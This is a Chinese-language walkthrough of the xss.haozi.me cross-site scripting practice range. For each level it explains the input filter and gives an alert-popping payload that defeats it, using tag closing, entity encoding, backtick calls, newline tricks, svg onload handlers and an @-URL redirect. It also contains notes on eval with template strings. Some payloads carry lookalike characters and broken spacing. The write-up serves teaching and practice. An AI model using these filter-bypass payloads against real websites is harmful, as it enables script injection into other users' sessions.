靶场连接就是xss.haozi.me
0x00
这一关也没有啥限制,就直接输出就可以了
< script>alert(0)< /script >
0x01
这一关的输出是在< textarea >标签里面的,但是这个标签只能输入文本,所以只能先将标签闭合,然后进行弹窗。
< /textarea>< script>alert(1)< /script>< textarea>
0x02
这个就是将input标签先闭合上,然后再进行输入弹窗就可以了。
aaa">< script>alert(1)< /script>
0x03
这一关是将括号给过滤掉了,也就是说alert()的括号不可以直接打印出来,所以这里可以采用两种方式,一种是编码的形式,另一种就是使用反引号来代替括号。
< script>alert& #40;1& #41;< /script>
< script>alert`1`< /script>
这里使用的``是模板字符串,所以针对这个可以细分知识点。
1.模板字符串的用法:
`string text`
`string text line 1`
`string text line 2`
`string text ${expression} string text`
tag `string text ${expression} string text`最后一个为带有标签的字符串,可以将他分为一下四种情况:
2. eval `$prompt(1)} `
js中,eval只有在字符串的情况下才会进行全局寻找,如果是其他型是的则会直接原样返回
t他的返回结果是:
这个过程中,模板字符串是先执行函数在执行eval,首先模板字符串的左右是没有值得,所以这返回的是空值,然后函数返回的是我们刚刚输入的aaa,eval收到了2个参数,一个是空的数组,另一个就是aaa,但是eval只能接收一个值,所以接收的是先回来的空数组,所以这里返回的就是空值。
3.eval`{‘prompt(1)’}`
这个过程和上一个是一样的,也是先执行模板字符串然后再执行eval,但是在执行prompt的时候,他是当做字符串进行输出的,所以他是不能弹窗的,这样的情况下也是传回了2个值,但是eval只能接收一个,所以接收的也是空数组。
4.eval.call`${‘prompt’}`
这种情况可以看到是有弹窗的,并且返回的值是:
这里和前两个的区别就是多了一个call方法,
call方法的作用:可以改变this的指向,如果执行的第一个值为空值得话,eval指定的是全局,但如果不是的话,则将该数作为定义的名字进行查找。
所以这个也是先执行模板字符串,他也是将{}里面当做了字符串,然后返回的依旧是空数组和弹窗所输入的值,然后call方法可以接受两个值,而这里也返回了两个值,第一个值为空,所以this指向了全局变量,全局变量里面是有prompt这个函数的,所以返回的就是咱么刚刚输入的那个值。5.eval.call`prompt(1)`
这个返回的是prompt(),不是空值,所以指向的不是空值了,但是,==在eval的官方文档中有一句话就是:因为eval的别名调用的形式五花班恩,只要不是直接调用,都属于别名调用,又因为引擎只能分辨eval()这一种形式是直接调用,所以可以默认为调用后的作用域依旧是别名。==所以仍然是全局里面查找,然后又没有给prompt传值,所以是undefined。
6.eval.call`${prompt(1)}`
这个可以将弹窗执行出来,但是返回的结果是:
这里依旧先执行模板字符串,这里的字符串是可以弹出的,并且给她的返回值是bbb,这里传回的两个值是空数组和bbb,因为使用了call方法,并且第一个返回值是空,所以指向了全局变量,但是在全局中没有定义bbb,所以返回的是bbb is not defined。如果定义了bbb,则返回的结果就是你定义的那个值。
这里就可以看到,我先定义了bbb是123,在此执行的时候,返回的值就是123了。
0x04
这一关和上一关相同,但是它把反引号也过滤了,所以就只能使用编码的方式了。
< script>alert& #40;1& #41;< /script>
0x05
这一关将注释符号(–>)过滤成了一个笑脸的表情,但是我们又需要把注释给闭合上,所以可以使用另一种注释的符号(–!>)
–!>< script>alert(1)< /script><!–
0x06
这里将auto或者on过滤成了_,并且是在input标签输出,所以这里可以将type的值改成imge的形式进行输出,并且使用换行的方式来停止以on开头=结尾变成_。
type="image"src=1 onerror
=alert(1)
0x07
这一关过滤了标签符号,所以没有办法写标签,也没有办法闭合。但是html中img标签是可以不写后面的“>”,因为它有一种纠错机制,
<img type=“image” src=1 οnerrοr=alert(1)//
0x08
这一关限制了不可以对style标签进行闭合,一旦出现< /style>会转变为“坏人”,但是html中将标签换行也是可以识别的,所以可以换行处理标签。
</style
< script>alert(1)< /script>
< style
0x09
这一关必须以https://www.segmentfault.com为开头,否则不能输入,然后就将script标签闭合在写点击事件就可以了。
https://www.segmentfault.com">< /script><svg/οnlοad=alert(1)< script>
0x0A
这里可以使用@的小技巧。
以@分隔的话前面表示的是用户名和密码,后面表示的是登录的网站和端口,也可以以表示重定向到第二个网站。
0x0B
这里用到了将所有字母转大写。可以使用编码来转换。
< svg/οnlοad=& #97;& #108;& #101;& #114;& #116;(1)>
0xC
这一关过滤了script,并且将字母转为大写。可以使用编码来进行。
<svg/οnlοad=& #97;& #108;& #101;& #114;& #116;(1)>
0x0D
这关过滤了斜杠,但是要闭合注释,所以和使用换行的方式。
alert(1)
–>
0x0E
这关和第10关很解法相似,都是指定到其他地方进行调转。
https://www.segmentfault.com@127.0.0.1/te.js
0x0F
这一关就是将一些符号进行了编码;但是这也是可以识别的,所以就是将src闭合,然后写弹窗,然后将后面注释
aaa’),alert(1)//
0x10
这里就是直接输入,所以可以直接输入
alert(1)
0x11
这关将一些字符转换了,也是先将那个闭合,然后进行弹窗。
"),alert(1)//
0x12
这一关将"过滤成了",所以可以使用转义符号将先将\转义,就可以过关了。
"),alert(1)//